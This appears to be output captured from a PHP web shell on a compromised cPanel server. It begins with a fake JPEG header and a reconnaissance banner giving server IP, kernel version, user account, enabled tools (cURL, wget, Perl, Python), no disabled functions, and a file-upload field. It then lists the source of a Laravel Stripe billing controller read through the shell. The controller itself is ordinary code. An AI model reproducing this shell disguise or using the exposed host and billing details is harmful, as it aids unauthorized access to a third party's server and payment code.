����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/common/Billing/Gateways/Stripe/ |
Upload File : |
<?php namespace Common\Billing\Gateways\Stripe;
use App\User;
use Common\Billing\BillingPlan;
use Common\Billing\GatewayException;
use Common\Billing\Subscription;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Common\Core\BaseController;
use Omnipay\Common\Exception\InvalidCreditCardException;
class StripeController extends BaseController
{
/**
* @var Request
*/
private $request;
/**
* @var BillingPlan
*/
private $billingPlan;
/**
* @var Subscription
*/
private $subscription;
/**
* @var StripeGateway
*/
private $stripe;
/**
* @param Request $request
* @param BillingPlan $billingPlan
* @param Subscription $subscription
* @param StripeGateway $stripe
*/
public function __construct(
Request $request,
BillingPlan $billingPlan,
Subscription $subscription,
StripeGateway $stripe
)
{
$this->stripe = $stripe;
$this->request = $request;
$this->billingPlan = $billingPlan;
$this->subscription = $subscription;
$this->middleware('auth');
}
/**
* @return JsonResponse
*/
public function createSubscription()
{
$this->validate($this->request, [
'plan_id' => 'required|integer|exists:billing_plans,id',
'start_date' => 'string'
]);
/** @var User $user */
$user = $this->request->user();
$plan = $this->billingPlan->findOrFail($this->request->get('plan_id'));
$sub = $this->stripe->subscriptions()->create($plan, $user, $this->request->get('start_date'));
if ($sub['status'] === 'complete') {
$user->subscribe('stripe', $sub['reference'], $plan);
}
$sub['user'] = $user->loadPermissions(true)->load('subscriptions.plan');
return $this->success($sub);
}
/**
* Finalize 3d secure subscription on stripe.
*/
public function finalizeSubscription()
{
$user = $this->request->user();
$subscriptionStub = new Subscription([
'gateway_id' => $this->request->get('reference'),
]);
$subscriptionStub->setRelation('user', $user);
$stripeSubscription = $this->stripe->subscriptions()->find($subscriptionStub)['subscription'];
if ( ! $stripeSubscription || $stripeSubscription['status'] !== 'active') {
throw new GatewayException('Stripe subscription does not exist or is not active.');
}
$plan = $this->billingPlan->where('uuid', $stripeSubscription['plan']['id'])->first();
$user->subscribe('stripe', $stripeSubscription['id'], $plan);
$stripeSubscription['user'] = $user->loadPermissions(true)->load('subscriptions.plan');
return $this->success($stripeSubscription);
}
/**
* Add a new bank card to user using stripe token.chan
*
* @return JsonResponse
* @throws GatewayException
*/
public function addCard()
{
$this->validate($this->request, [
'token' => 'required|string',
]);
try {
$user = $this->stripe->addCard($this->request->user(), $this->request->get('token'));
} catch (InvalidCreditCardException $e) {
return $this->error($e->getMessage());
}
return $this->success(['user' => $user->loadPermissions(true)->load('subscriptions.plan')]);
}
}